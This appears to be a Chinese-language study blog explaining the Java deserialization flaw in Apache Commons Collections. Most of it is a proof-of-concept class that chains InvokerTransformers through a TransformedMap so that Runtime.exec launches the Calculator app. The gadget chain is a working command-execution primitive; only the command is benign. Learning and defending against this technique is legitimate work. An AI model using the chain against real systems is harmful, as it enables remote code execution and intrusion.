Java序列化漏洞出来很久了,在膜拜了N篇文章之后,也算是懂了。写个博客记录下。
实现利用apache.commons.coolections中的几个类反弹出计算器。。。
这几个类是:
public class BounceCalculator { public static void main(String[] agrs) { //所要执行的命令,Mac系统 String exec[] = "/bin/sh,-c,open /Applications/Calculator.app".split(","); //定义一组Transformer Transformer transformer[] = new Transformer[]{ new ConstantTransformer(Runtime.class),//得到一个是Transformer子类的Runtime,Class.forName("java.lang.Runtime"); /** * InvokerTransformer接受三个参数: * String 要调用的方法名 * Class[] 传入参数的类型 * Object[] 传入的参数 * 这里面都有transform方法,这个方法将传入的input转换成调用某个方法之后的另一个对象 * public Object transform(Object input) { * if (input == null) { * return null; * } * try { * Class cls = input.getClass(); * Method method = cls.getMethod(iMethodName, iParamTypes); * return method.invoke(input, iArgs); * .... * } * */ new InvokerTransformer(//Class.getMethod("getRuntime"); "getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer(//Method.invoke(""); "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(//Runtime.exec(exec); "exec", new Class[]{String[].class}, new Object[]{exec}) }; //前一个的输出为后一个的输入 Transformer chain = new ChainedTransformer(transformer); //要执行每一个InvokerTransformer类的transformer方法 Map<String, Object> temp = new HashMap<String, Object>(); Map<String, Object> pocMap = TransformedMap.decorate(temp, null, chain); pocMap.put("1", "2"); /** * 这里执行了: * public Object put(Object key, Object value) { * key = transformKey(key); * value = transformValue(value); * return getMap().put(key, value); * } */ //执行setValue方法 for (Map.Entry<String, Object> pocKey : pocMap.entrySet()) { pocKey.setValue("1"); } } }
最后再推一遍:
为了执行多个反射调用的方法以弹出计算器,需要找到一个触发点可以执行各自的transformer方法,这个出发点就是setValue方法。